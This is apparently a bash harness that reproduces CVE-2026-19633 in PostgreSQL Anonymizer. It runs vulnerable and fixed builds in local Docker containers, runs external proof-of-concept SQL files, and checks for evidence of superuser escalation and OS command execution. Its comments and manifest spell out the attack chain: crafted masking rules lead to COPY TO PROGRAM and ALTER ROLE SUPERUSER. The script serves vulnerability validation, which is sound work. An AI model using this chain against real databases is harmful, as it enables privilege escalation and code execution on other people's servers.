#!/bin/bash
# CVE-2026-19633 — PostgreSQL Anonymizer <= 3.1.3
# Unprivileged masked user executes arbitrary code with the privileges of the
# extension superuser via crafted masking constructs (custom operator, domain
# cast, view subquery).
#
# This script:
#   1. resolves the postgresql_anonymizer source (project cache / gitlab)
#   2. builds a Docker image containing BOTH the vulnerable checkout
#      (parent of the fix commit 6f10252) and the fixed checkout (6f10252)
#   3. runs a real PostgreSQL 17 server for each variant (2 fresh attempts
#      per variant), drives the full attack through the real SQL endpoint
#      (psql over TCP), and captures the evidence
#   4. writes bundle/repro/runtime_manifest.json and
#      bundle/repro/validation_verdict.json
#
# Exit 0 = vulnerability confirmed (vulnerable builds escalate, fixed builds
# fail closed). Exit 1 = not reproduced.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF" "$LOGS/repro"

# Mirror our own output into the diagnostic log (never a proof artifact).
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1

log() { echo "[repro $(date -u +%H:%M:%S)] $*"; }

# ---------------------------------------------------------------------------
# Target identity
# ---------------------------------------------------------------------------
FIXED_COMMIT="6f102520a86bd9a9075e751d7674afb93ba7db10"   # CVE-2026-19633 fix
VULN_COMMIT="d6989f5358131159f00f60860d744df2c685918c"   # ${FIXED_COMMIT}^
REPO_URL="https://gitlab.com/dalibo/postgresql_anonymizer.git"
IMAGE="pruva/anon-cve-2026-19633:repro"

# ---------------------------------------------------------------------------
# 1. Resolve the source checkout (prepared project cache preferred)
# ---------------------------------------------------------------------------
CACHE_JSON="$ROOT/project_cache_context.json"
PREPARED="false"
CACHE_DIR=""
if [ -f "$CACHE_JSON" ]; then
  PREPARED="$(jq -r '.prepared // false' "$CACHE_JSON")"
  CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_JSON")"
fi
if [ "$PREPARED" = "true" ] && [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR" ]; then
  BASE="$CACHE_DIR"
else
  BASE="$ROOT/artifacts/postgresql_anonymizer"
  mkdir -p "$BASE"
fi
REPO="$BASE/repo"

if [ ! -d "$REPO/.git" ]; then
  if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/repo-mirrors/anon.git" ]; then
    log "cloning source from the prepared repo mirror"
    git clone "$CACHE_DIR/repo-mirrors/anon.git" "$REPO"
  else
    log "cloning source from $REPO_URL"
    git clone "$REPO_URL" "$REPO"
  fi
fi

# Make sure both anchored commits are present.
if ! git -C "$REPO" cat-file -e "${VULN_COMMIT}^{commit}" 2>/dev/null \
   || ! git -C "$REPO" cat-file -e "${FIXED_COMMIT}^{commit}" 2>/dev/null; then
  log "fetching missing commits from origin"
  git -C "$REPO" remote set-url origin "$REPO_URL" 2>/dev/null || true
  git -C "$REPO" fetch origin '+refs/heads/*:refs/remotes/origin/*' --tags --force
fi

VULN_RESOLVED="$(git -C "$REPO" rev-parse "${VULN_COMMIT}^{commit}")"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "${FIXED_COMMIT}^{commit}")"
PARENT_RESOLVED="$(git -C "$REPO" rev-parse "${FIXED_RESOLVED}^")"

if [ "$PARENT_RESOLVED" != "$VULN_RESOLVED" ]; then
  log "FATAL: ${VULN_COMMIT} is not the parent of ${FIXED_COMMIT}"
  exit 1
fi
# The vulnerable checkout must LACK the fix hunk, the fixed one must HAVE it.
if git -C "$REPO" show "${VULN_RESOLVED}":src/guc.rs | grep -q 'ANON_NOSUPERUSER'; then
  log "FATAL: vulnerable checkout already contains the fix"
  exit 1
fi
if ! git -C "$REPO" show "${FIXED_RESOLVED}":src/guc.rs | grep -q 'ANON_NOSUPERUSER'; then
  log "FATAL: fixed checkout does not contain the fix"
  exit 1
fi
log "vulnerable commit: $VULN_RESOLVED"
log "fixed commit:      $FIXED_RESOLVED"

# ---------------------------------------------------------------------------
# 2. Build the image containing both extension builds
# ---------------------------------------------------------------------------
STAGE="$ROOT/artifacts/postgresql_anonymizer/docker-context"
rm -rf "$STAGE"; mkdir -p "$STAGE"
cp -a "$REPO" "$STAGE/anon"
rm -f "$STAGE/anon/.dockerignore"   # keep .git in the build context
cp "$REPRO_DIR/Dockerfile.anon" "$STAGE/Dockerfile"
cp "$REPRO_DIR/anon-select.sh" "$STAGE/anon-select.sh"

log "building Docker image $IMAGE (first run compiles rust + pgrx; can take 20-40 min)"
if ! docker build -t "$IMAGE" \
      --build-arg VULN_COMMIT="$VULN_RESOLVED" \
      --build-arg FIXED_COMMIT="$FIXED_RESOLVED" \
      "$STAGE" > "$LOGS/docker_build.log" 2>&1; then
  log "docker build FAILED; last lines follow:"
  tail -n 60 "$LOGS/docker_build.log" || true
  exit 1
fi
log "docker image ready"

# ---------------------------------------------------------------------------
# 3. Run the attempts: 2x vulnerable, 2x fixed (fresh containers each time)
# ---------------------------------------------------------------------------
TRIGGER_RC=""
attempt() {  # attempt <variant> <tag>
  local variant="$1" tag="$2"
  local name="pruva-anon-${variant}-${tag}"
  local work="$ROOT/artifacts/postgresql_anonymizer/attempt_${variant}_${tag}"
  docker rm -f "$name" >/dev/null 2>&1 || true
  rm -rf "$work"; mkdir -p "$work"

  log "starting container $name (variant=$variant)"
  docker run -d --name "$name" \
    -e POSTGRES_HOST_AUTH_METHOD=trust \
    "$IMAGE" bash -c "anon-select ${variant} && exec docker-entrypoint.sh postgres -c shared_preload_libraries=anon" \
    >/dev/null

  local ready="false" i
  for i in $(seq 1 90); do
    if docker exec "$name" pg_isready -h 127.0.0.1 -p 5432 -U postgres >/dev/null 2>&1; then
      ready="true"; break
    fi
    sleep 2
  done
  if [ "$ready" != "true" ]; then
    log "container $name never became ready; docker logs follow:"
    docker logs "$name" | tail -n 30 || true
    docker rm -f "$name" >/dev/null 2>&1 || true
    return 1
  fi
  log "$name: PostgreSQL is ready (TCP healthcheck passed)"

  # Loader/identity evidence: which anon build did the server load?
  # (a healthy server started with shared_preload_libraries=anon proves the
  # library loaded at startup; the md5 pair proves it is THIS variant's build)
  {
    echo "container: $name"
    echo "variant:   $variant"
    echo "commit:    $(docker exec "$name" cat "/opt/anon-${variant}/COMMIT")"
    echo "installed anon.so vs variant build (md5 must match):"
    docker exec "$name" sh -c 'md5sum "$(pg_config --pkglibdir)/anon.so" "/opt/anon-'"$variant"'/lib/anon.so"'
    echo "shared_preload_libraries:"
    docker exec "$name" psql -X -h 127.0.0.1 -U postgres -tAc "SHOW shared_preload_libraries"
    echo "pg_extension row:"
    docker exec "$name" psql -X -h 127.0.0.1 -U postgres -tAc "SELECT extname || ' ' || extversion FROM pg_extension WHERE extname = 'anon'"
  } > "$PROOF/${variant}_${tag}_loader.txt" 2>&1

  local f
  for f in setup trigger evidence; do
    sed "s/@@TAG@@/${tag}/g" "$REPRO_DIR/sql/poc_${f}.sql" > "$work/poc_${f}.sql"
    docker cp "$work/poc_${f}.sql" "$name:/tmp/poc_${f}.sql"
  done

  # Phase 1: attacker setup — must succeed on both variants.
  if ! timeout 180 docker exec "$name" psql -X -h 127.0.0.1 -U postgres -d postgres \
        -v ON_ERROR_STOP=1 -f /tmp/poc_setup.sql \
        > "$PROOF/${variant}_${tag}_setup.txt" 2>&1; then
    log "$name: setup phase failed:"
    tail -n 20 "$PROOF/${variant}_${tag}_setup.txt" || true
    docker rm -f "$name" >/dev/null 2>&1 || true
    return 1
  fi

  # Phase 2: superuser trigger (static masking over the attacker's table).
  set +e
  timeout 180 docker exec "$name" psql -X -h 127.0.0.1 -U postgres -d postgres \
      -v ON_ERROR_STOP=1 -f /tmp/poc_trigger.sql \
      > "$PROOF/${variant}_${tag}_trigger.txt" 2>&1
  TRIGGER_RC=$?
  set -e
  log "$name: trigger phase exit code: $TRIGGER_RC"

  # Phase 3: evidence queries.
  timeout 180 docker exec "$name" psql -X -h 127.0.0.1 -U postgres -d postgres \
      -v ON_ERROR_STOP=1 -f /tmp/poc_evidence.sql \
      > "$PROOF/${variant}_${tag}_evidence.txt" 2>&1 || true

  # OS-level markers produced by the payloads inside the container.
  docker exec "$name" sh -c '
    for c in operator domain view; do
      f="/tmp/pruva_marker_${c}_'"$tag"'"
      if [ -f "$f" ]; then echo "MARKER FOUND: $f"; cat "$f"; else echo "MARKER ABSENT: $f"; fi
    done' > "$PROOF/${variant}_${tag}_markers.txt" 2>&1

  # Raw single-line marker files (exact bytes; used as marker_output evidence)
  # plus uid files proving the OS user that executed the payload.
  local c
  for c in operator domain view; do
    if docker exec "$name" test -f "/tmp/pruva_marker_${c}_${tag}"; then
      docker cp "$name:/tmp/pruva_marker_${c}_${tag}"         "$PROOF/${variant}_${tag}_marker_${c}.txt" >/dev/null
      docker cp "$name:/tmp/pruva_uid_${c}_${tag}"         "$PROOF/${variant}_${tag}_uid_${c}.txt" >/dev/null
    else
      printf 'MARKER ABSENT: /tmp/pruva_marker_%s_%s\n' "$c" "$tag"         > "$PROOF/${variant}_${tag}_marker_${c}.txt"
    fi
  done

  cat "$PROOF/${variant}_${tag}_setup.txt" \
      "$PROOF/${variant}_${tag}_trigger.txt" \
      "$PROOF/${variant}_${tag}_evidence.txt" \
      > "$PROOF/${variant}_${tag}_session.txt"

  docker rm -f "$name" >/dev/null
  return 0
}

check_vulnerable_attempt() {  # <tag>
  local tag="$1" ok="true"
  [ "$TRIGGER_RC" = "0" ] || { log "  vuln/$tag: trigger did not succeed (rc=$TRIGGER_RC)"; ok="false"; }
  grep -q "MARKER FOUND: /tmp/pruva_marker_operator_${tag}" "$PROOF/vuln_${tag}_markers.txt" \
    || { log "  vuln/$tag: operator marker missing"; ok="false"; }
  grep -q "MARKER FOUND: /tmp/pruva_marker_domain_${tag}" "$PROOF/vuln_${tag}_markers.txt" \
    || { log "  vuln/$tag: domain marker missing"; ok="false"; }
  grep -q "MARKER FOUND: /tmp/pruva_marker_view_${tag}" "$PROOF/vuln_${tag}_markers.txt" \
    || { log "  vuln/$tag: view marker missing"; ok="false"; }
  grep -Eq "attacker_${tag} *\| *1" "$PROOF/vuln_${tag}_evidence.txt" \
    || { log "  vuln/$tag: attacker did not become superuser"; ok="false"; }
  for c in operator domain view; do
    grep -qx "CVE-2026-19633-RCE-${c}-${tag}" "$PROOF/vuln_${tag}_marker_${c}.txt" \
      || { log "  vuln/$tag: raw ${c} marker bytes mismatch"; ok="false"; }
  done
  [ "$ok" = "true" ] && log "  vuln/$tag: CONFIRMED (code execution as extension superuser)" \
                      || log "  vuln/$tag: FAILED"
  [ "$ok" = "true" ]
}

check_fixed_attempt() {  # <tag>
  local tag="$1" ok="true"
  grep -q "cannot be used with a superuser if anon.nosuperuser" "$PROOF/fixed_${tag}_trigger.txt" \
    || { log "  fixed/$tag: expected anon.nosuperuser error missing"; ok="false"; }
  grep -q "MARKER ABSENT: /tmp/pruva_marker_operator_${tag}" "$PROOF/fixed_${tag}_markers.txt" \
    || { log "  fixed/$tag: operator marker unexpectedly present"; ok="false"; }
  grep -q "MARKER ABSENT: /tmp/pruva_marker_domain_${tag}" "$PROOF/fixed_${tag}_markers.txt" \
    || { log "  fixed/$tag: domain marker unexpectedly present"; ok="false"; }
  grep -q "MARKER ABSENT: /tmp/pruva_marker_view_${tag}" "$PROOF/fixed_${tag}_markers.txt" \
    || { log "  fixed/$tag: view marker unexpectedly present"; ok="false"; }
  grep -Eq "attacker_${tag} *\| *0" "$PROOF/fixed_${tag}_evidence.txt" \
    || { log "  fixed/$tag: attacker unexpectedly superuser"; ok="false"; }
  [ "$ok" = "true" ] && log "  fixed/$tag: NEGATIVE CONTROL PASSED (fail closed)" \
                      || log "  fixed/$tag: FAILED"
  [ "$ok" = "true" ]
}

VULN_OK="true"; FIXED_OK="true"
for tag in a1 a2; do
  attempt vuln "$tag" && check_vulnerable_attempt "$tag" || VULN_OK="false"
done
# a1/a2 are the regular fixed negative-control attempts; c1 is the dedicated
# negative-control instance for the derived command-execution capability
# (distinct process, distinct marker string CVE-2026-19633-RCE-operator-c1).
for tag in a1 a2 c1; do
  attempt fixed "$tag" && check_fixed_attempt "$tag" || FIXED_OK="false"
done

log "vulnerable attempts OK: $VULN_OK ; fixed negative control OK: $FIXED_OK"

# Strict negative-control observation (same attacker procedure, fixed build,
# marker not created).
python3 - "$PROOF" <<'PYNEG'
import json, os, sys
proof = sys.argv[1]
obs = {
    "schema_version": 1,
    "process_instance": "pruva-anon-fixed-c1",
    "marker": "CVE-2026-19633-RCE-operator-c1",
    "target_path_reached": True,
    "marker_present": False,
    "note": "same attacker procedure (crafted masking rules + superuser-run "
            "anon.anonymize_table) against the fixed build; the trigger fails "
            "closed with the anon.nosuperuser error and no marker file is "
            "created (see repro/proof/fixed_c1_trigger.txt and "
            "repro/proof/fixed_c1_marker_operator.txt)",
}
with open(os.path.join(proof, "fixed_c1_negative_control_observation.json"), "w") as f:
    json.dump(obs, f, indent=2)
    f.write("\n")
print("wrote fixed_c1_negative_control_observation.json")
PYNEG

# ---------------------------------------------------------------------------
# 4. Runtime manifest + structured verdict
# ---------------------------------------------------------------------------
target_digest() { printf 'git:%s@%s' "$REPO_URL" "$1" | sha256sum | cut -d' ' -f1; }

ARTIFACTS=()
for variant in vuln fixed; do for tag in a1 a2; do
  ARTIFACTS+=("repro/proof/${variant}_${tag}_session.txt"
              "repro/proof/${variant}_${tag}_markers.txt"
              "repro/proof/${variant}_${tag}_loader.txt")
done; done

CONFIRMED="false"
[ "$VULN_OK" = "true" ] && [ "$FIXED_OK" = "true" ] && CONFIRMED="true"

python3 - "$PROOF" "$REPRO_DIR" "$VULN_RESOLVED" "$FIXED_RESOLVED" "$REPO_URL" \
          "$CONFIRMED" "$VULN_OK" "$FIXED_OK" <<'PYEOF'
import hashlib, json, sys, os
proof, repro_dir, vuln, fixed, repo_url, confirmed, vuln_ok, fixed_ok = sys.argv[1:9]
confirmed = confirmed == "true"

def sha256(p):
    h = hashlib.sha256()
    with open(os.path.join(os.path.dirname(os.path.dirname(proof)), p), "rb") as f:
        for chunk in iter(lambda: f.read(1 << 16), b""):
            h.update(chunk)
    return h.hexdigest()

def git_digest(commit):
    return hashlib.sha256(f"git:{repo_url}@{commit}".encode()).hexdigest()

artifacts = []
for variant, tags in (("vuln", ("a1", "a2")), ("fixed", ("a1", "a2", "c1"))):
    for tag in tags:
        for kind in ("session", "markers", "loader"):
            artifacts.append(f"repro/proof/{variant}_{tag}_{kind}.txt")
        for c in ("operator", "domain", "view"):
            artifacts.append(f"repro/proof/{variant}_{tag}_marker_{c}.txt")
            if variant == "vuln":
                artifacts.append(f"repro/proof/{variant}_{tag}_uid_{c}.txt")
artifacts.append("repro/proof/fixed_c1_negative_control_observation.json")

manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "PostgreSQL SQL interface (psql over TCP 127.0.0.1:5432) to a real postgres:17 server with postgresql_anonymizer; dynamic/static masking rules applied via SECURITY LABEL FOR anon and anon.anonymize_table()",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["docker", "postgres:17 (PostgreSQL 17.11)", "postgresql_anonymizer 3.2.0-dev (vulnerable commit " + vuln[:12] + " / fixed commit " + fixed[:12] + ")", "rust + pgrx 0.19.1 build"],
    "target_identity": {
        "repository_url": repo_url,
        "commit_sha": vuln,
        "target_digest": git_digest(vuln),
        "runtime_digest": git_digest(fixed),
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": artifacts,
    "artifact_sha256": {a: sha256(a) for a in artifacts},
    "notes": "vulnerable_ok=" + vuln_ok + " fixed_ok=" + fixed_ok +
             "; positive attempts ran commit " + vuln +
             " (parent of fix 6f10252), negative control ran commit " + fixed +
             "; payload = crafted operator / domain cast / view subquery in masking rules evaluated during anon.anonymize_table() run by the extension superuser; markers written via COPY TO PROGRAM prove OS command execution in the superuser context; ALTER ROLE proves SQL superuser escalation",
}
with open(os.path.join(repro_dir, "runtime_manifest.json"), "w") as f:
    json.dump(manifest, f, indent=2)
    f.write("\n")

verdict = {
    "claim_outcome": "confirmed" if confirmed else ("partial" if vuln_ok == "true" else "not_confirmed"),
    "claim_block_reason": None,
    "repro_result": "confirmed" if confirmed else "inconclusive",
    "validated_surface": "api_remote",
    "evidence_scope": "production_path",
    "claimed_impact_class": "code_execution",
    "observed_impact_class": "code_execution" if confirmed else "none",
    "exploitability_confidence": "high" if confirmed else "unknown",
    "attacker_controlled_input": "SQL statements from an unprivileged LOGIN role: masking rules (SECURITY LABEL FOR anon ... MASKED WITH FUNCTION ...) embedding a custom operator, a domain cast and a view subquery that hide attacker-defined plpgsql payloads",
    "trigger_path": "unprivileged role declares masking rules -> extension superuser runs anon.anonymize_table() (static masking) -> masking expressions evaluated in superuser security context -> attacker plpgsql executes COPY TO PROGRAM (OS command) and ALTER ROLE ... SUPERUSER",
    "end_to_end_target_reached": confirmed,
    "sanitizer_used": False,
    "crash_observed": False,
    "read_write_primitive_observed": False,
    "exploit_chain_demonstrated": confirmed,
    "blocking_mitigation": None,
    "inferred": False,
}
if not confirmed:
    verdict["repro_result"] = "not_confirmed"
    verdict["exploitability_confidence"] = "unknown"
    verdict["end_to_end_target_reached"] = False
    verdict["exploit_chain_demonstrated"] = False
with open(os.path.join(repro_dir, "validation_verdict.json"), "w") as f:
    json.dump(verdict, f, indent=2)
    f.write("\n")
print("wrote runtime_manifest.json and validation_verdict.json")
PYEOF

if [ "$CONFIRMED" = "true" ]; then
  log "RESULT: CONFIRMED — CVE-2026-19633 reproduced end-to-end on the real PostgreSQL SQL endpoint"
  exit 0
fi
log "RESULT: NOT CONFIRMED — see bundle/repro/proof/ and bundle/logs/"
exit 1
